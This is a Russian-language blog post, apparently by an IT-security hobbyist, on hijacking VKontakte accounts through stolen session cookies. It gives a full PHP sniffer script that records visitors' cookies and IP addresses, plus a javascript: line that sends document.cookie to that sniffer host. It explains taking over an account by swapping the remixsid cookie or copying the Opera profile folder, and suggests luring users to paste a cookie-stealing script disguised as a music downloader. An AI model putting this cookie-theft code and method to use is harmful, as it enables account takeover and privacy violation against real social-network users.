Untitled

Взлом страницы вконтакте, правда или вымисел?Легко ли взломать страницу вконтакте?

Достаточно часто на просторах рунета, можно встретить объявления типа: Взломаю любой аккаунт социальной сети, взмылю мыло по шустрому .

http://master-it.biz/wp-content/uploads/2013/02/vzlomkontakta2.jpg
Взлом страницы вконтакте

Да и так, как одна из моих профессий тесно связана с IT безопасностью, сегодня я решил немного эту тему по развивать. А именно протестировать возможность взлома страницы вконтакте, посредством подмены параметров файлов cookies. Специально для этих целей я зарегистрировал два аккаунта vk.соm, естественно вошел в них на разных компах, и сохранил куки.

В качестве клиентской ОС использовал горячо любимый мною Linux, вторая страница была открыта в Opera (на ОС Windows XP) так, как только этот интернет браузер имеет возможность изменять параметры cookies. В качестве Web сервера использовал LAMP. Весь тест проводился в локальной сети, с выходом в интернет через прокси сервер. На веб сервере, я по быстрому набросал и разместил PHP скрипт (сниффер), который принимал клиентские куки, вот такого содержания:

<?php
//читаем кукисы из адресной строки
$cookie = $_SERVER['REQUEST_URI'];
//фиксируем ip (на всякий случай:)
$ip = $_SERVER['REMOTE_ADDR'];
//создаем и открываем на запись файл snif.dat
$file = fopen("snif.dat","a+");
//вычисляем текущее время
$time = date("H:i:M:d");
//добавляем в строковую переменную куки + время + ip
$add_text = "$ip $time $cookie";
//записываем данные в файл
fputs($file,$add_text.",\r\n");
//закрываем файл
fclose($file);
//делаем редирект куда-нибудь:)
header('Location: http://master-it.biz');
?>

Сниффер принимающий кукисы готов, а передавал я их с помощью JavaScript, вбив в адресную строку:

javascript:window.location.href = "http://testing/sniff.php?cookie="+document.cookie;

Я не стал полностью автоматизировать работу клиента, т. к. это уже выходит за рамки моих морально=этических представлений, ибо любой остро желающий может разработать его самостоятельно.

Следующей задачей для меня была подмена уведенных куков. И это оказалось вообще проще простого. Открыв браузер Опера => Настройки => Общие настройки => Расширенные => Cookies

http://master-it.biz/wp-content/uploads/2013/02/Opera.jpg
Opera Cookies

Я изменил только значение параметра куков remixsid и сразу же вошел в другой аккаунт

Но стоило мне сменить ip адрес, как передо мной во весь экран на рисовалась балалайка (старая такая: добрая, русская)

Тогда я тупо скопировал всю папку C:\Users\Master-It\AppData\Roaming\Opera\Opera\ авторизовавшись уже в Windows 7, инициируя действия трояна, и опять сменил ip адрес, потом заменил содержимое папок Opera, и опять вошел в (чужой) аккаунт!

И какой из всего этого напрашивается вывод?

Да очень простой! Взлом аккаунта очень мало вероятен, если вы переходите по ссылке на какой-то [сомнительный] сторонний ресурс, но зато он будет возможен при переходе на фейковую страницу. И для этого злоумышленник, как правило используетсоциальную инженерию. Т. е. находит метод при котором вы самостоятельно сливаете ему свои данные от страниц социальных сетей.

С vk.com не прокатывают Brute Force Attack с использованием утилит жесткого перебора паролей. Ибо после неудачной 3-5 попытки включается капча.

В качестве альтернативы могут выступать вирусы трояны, которые просто воруют пользовательские данные [пачками] пакетами, и отправляют их своим разработчикам (клиентам).

И уж точно, я бы не стал использовать для этих целей какие-то сторонние утилиты, ибо тема бесплатного сыра кажется мне уже давно избитой, и пользы от него несоизмеримо меньше нежели вреда. Ведь бот нет расширяется с каждым днем в арифметической прогрессии.

Взлом ВКонтакте (vk.com) и социальная инженерия

Сейчас я приведу пример эксплуатации социальной инженерии, для взлома аккаунта vk.com.

Многие знают, что в популярной соц. сети имеется огромная база медиа файлов, около 1000 ТБ, но это собственно и не соль, а вот именно соль заключается в том, что многие хотят скачать музыку из соц. сети вконтакте , и находят для этих целей соответствующие скрипты.

Самый банальный скрипт, который незаметно для пользователя, уведет его файлы куки, может выглядеть так:

Естественно, пользователь сам его вставляет в адресную строку браузера, и активирует. Самое интересное, что после этого он еще и скачивает музыку, в то время, как злоумышленник анализирует его файлы cookies.Если вы все поняли , теперь нужно запастись програмным забезпечением !

‏Source vk.com